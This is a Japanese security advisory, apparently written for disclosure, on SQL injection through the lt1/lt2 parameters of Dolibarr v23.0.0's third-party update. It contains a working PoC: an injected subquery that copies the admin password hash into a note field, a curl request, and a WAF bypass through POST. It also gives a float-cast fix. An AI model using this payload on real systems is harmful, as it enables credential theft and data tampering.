Dolibarrにおいて、societe/class/societe.class.phpファイル内のlocaltax1_valueパラメータを介したSQLインジェクションの脆弱性が存在します。

### 概要

Dolibarr ERP/CRMのサードパーティ(企業)情報の更新機能に、SQLインジェクションの脆弱性があります。`localtax1_value`パラメータ(`lt1`)が、`societe/class/societe.class.php`ファイルの1672行目にあるSQL UPDATE文に、エスケープ処理、型変換、またはパラメータ化されたクエリのバインディングなしで直接連結されています。

標準の「サードパーティ:作成/編集」権限を持つ認証されたユーザーは、データベースから任意のデータを抽出できます。これには、パスワードのハッシュ値、APIキー、およびすべてのビジネスデータが含まれます。

Dolibarr v23.0.0(最新の安定版)、公式のDockerイメージを使用したデフォルトのインストール環境でテストしました。MariaDB 10.11を使用し、カスタムモジュールや変更された設定はありません。

### 詳細

**脆弱なコード** (`societe/class/societe.class.php`, 1672行目):
```php
$sql .= ",localtax1_value =".$this->localtax1_value;
```

この値は、`GETPOST('lt1', 'alpha')`関数(`societe/card.php`, 1135行目)から取得されます。適用されている唯一のサニタイズ処理は、1528行目での`trim()`関数のみです。`(float)`への型変換や、`$db->escape()`関数は使用されていません。

`alpha`入力フィルタは、HTMLタグとダブルクォーテーションを削除しますが、シングルクォーテーション、括弧、カンマ、またはSQLキーワードは削除しません。インジェクションポイントが数値のSQLコンテキスト内にあるため(値の周りにクォーテーションがない)、攻撃者はフィルタリングされた文字のいずれも使用する必要はありません。

**なぜWAFがこれをブロックしないのか:** DolibarrのWAF (`waf.inc.php`)は、**GET**パラメータ内のSQLインジェクションパターンのみをチェックします。POSTベースの`lt1`パラメータは、これを完全に回避します。

**同じ脆弱性**は、`localtax2_value`パラメータ(`lt2`)の1682行目にも存在します。

`localtax1_assuj`のような隣接するフィールドは、正しく`(int)`にキャストされています。これは、開発者がインジェクションのリスクを認識していたものの、これらのフィールドを見落としていたことを示しています。

### PoC (概念実証)

**再現手順:**

1. Dolibarr v23.0.0をインストールします(公式のDockerイメージ、MariaDB 10.11でテスト済み)。
2. 「第三者:作成/編集」権限を持つユーザーでログインします(管理者権限を持つユーザーではなく、標準ユーザー)。
3. 既存の第三者(会社)のレコードを作成するか、開きます。
4. 会社のカード上で「編集」をクリックし、更新フォームを開きます。
5. POSTリクエストを傍受します(例:Burp Suite)。「リクエストボディ」に以下のパラメータを追加します。
- `localtax1assuj_value=1`
- `lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`
6. フォームを送信します(サーバーはHTTP 302 Foundを応答し、更新は成功します)。
7. 会社の「メモ」タブに移動します。管理者のMD5パスワードハッシュが、「プライベートメモ」フィールドに表示されます。

**検証:** `echo -n "admin123" | md5sum` → `0192023a7bbd73250516f069df18b500`(抽出されたハッシュと一致します)。

**図1 — 攻撃前の「メモ」タブ(「プライベートメモ」フィールドは空):**

<img width="1372" height="822" alt="攻撃後の「メモ」タブ — 管理者パスワードハッシュが抽出されました"
src="https://github.com/user-attachments/assets/d39502c1-bee0-4eae-a82a-40a026299841" />

**図2 — Burp Suite Repeater:完全なPOSTリクエストヘッダーとHTTP 302 Foundの応答:**

<img width="1095" height="732" alt="22" src="https://github.com/user-attachments/assets/86386423-bfa3-45fc-a2a9-9e2d1a1e1899" />

**図3 — Burp Suite Repeater:注入された`localtax1assuj_value=1`と`lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)`を含むリクエストボディ:**

<img width="1095" height="727" alt="33" src="https://github.com/user-attachments/assets/e82e14fc-d8b4-46e7-a507-d11689e254d3" />

**図4 — 攻撃後の「メモ」タブ:「プライベートメモ」に`0192023a7bbd73250516f069df18b500`(管理者パスワード「admin123」のMD5ハッシュ)が含まれています:**

<img width="1381" height="819" alt="1" src="https://github.com/user-attachments/assets/ca77a120-21b9-4574-b37f-4347930f27aa" />

**curlによるPoC:**
```bash
curl -b cookies.txt \
--data-urlencode "action=update" \
--data-urlencode "token=CSRF_TOKEN" \
--data-urlencode "socid=1" \
--data-urlencode "name=TestCompany" \
--data-urlencode "status=1" \
--data-urlencode "localtax1assuj_value=1" \
--data-urlencode "lt1=1,note_private=(SELECT pass_crypted FROM llx_user WHERE rowid=1)" \
--data-urlencode "client=1" \
--data-urlencode "typent_id=0" \
"http://TARGET/societe/card.php?socid=1"
```

**追加の検証 — 算術評価:**
`lt1=3+4`を送信すると、データベースに`localtax1_value=7.0000`が保存されます。この式はSQLエンジンによって評価されており、SQLインジェクションであることを確認できます。

**追加の検証 — ユーザー数情報の取得:**
`lt1=(SELECT COUNT(*) FROM llx_user)`を送信すると、`localtax1_value=1.0000`となります。

### 影響

基本的な「第三者: 作成/編集」権限を持つ攻撃者(標準ユーザー、管理者ではない)は、以下のことが可能です。

- データベースから**任意のデータ**を読み取ることができます(パスワードハッシュ、APIキー、顧客/サプライヤーデータ、請求書、銀行口座情報など)。
- 追加のSET句をUPDATEインジェクションに含めることで、**任意のデータベースレコードを修正**できます。
- MD5のパスワードハッシュを解析することで、**管理者権限を昇格**させることができます(DolibarrはデフォルトでソルトなしのMD5を使用)。
- 特権昇格後、**リモートコード実行(RCE)**が**潜在的に可能**になります(ウェブサイトモジュールのPHPインジェクション、ModuleBuilderなど)。

### 推奨される修正

```php
// societe.class.php、1528行目 — (float)型へのキャストを追加:
$this->localtax1_value = (float) price2num(trim($this->localtax1_value));

// societe.class.php、1672行目 — (float)型へのキャストを追加:
$sql .= ",localtax1_value =".((float) $this->localtax1_value);
```

`localtax2_value`についても、同様の修正を1529行目と1682行目に行います。

### 貢献者

この脆弱性に関する情報は、以下の情報提供者に感謝します。**Grzegorz Tworek (F3715H) sec4check** (grzegorz.tworek@sec4check.pl)

### 参照

詳細なレポートは、パッチリリース後、以下のURLで公開されます。
https://www.sec4check.pl/blog/posts/cve-dolibarr-sql-injection-localtax-third-party.html

このURLをCVEの参照情報として含めていただけますよう、お願い申し上げます。

影響を受けるパッケージ:
- Composer (PHP) dolibarr/dolibarr: 影響を受けるバージョンは23.0.0以下、修正は未実施。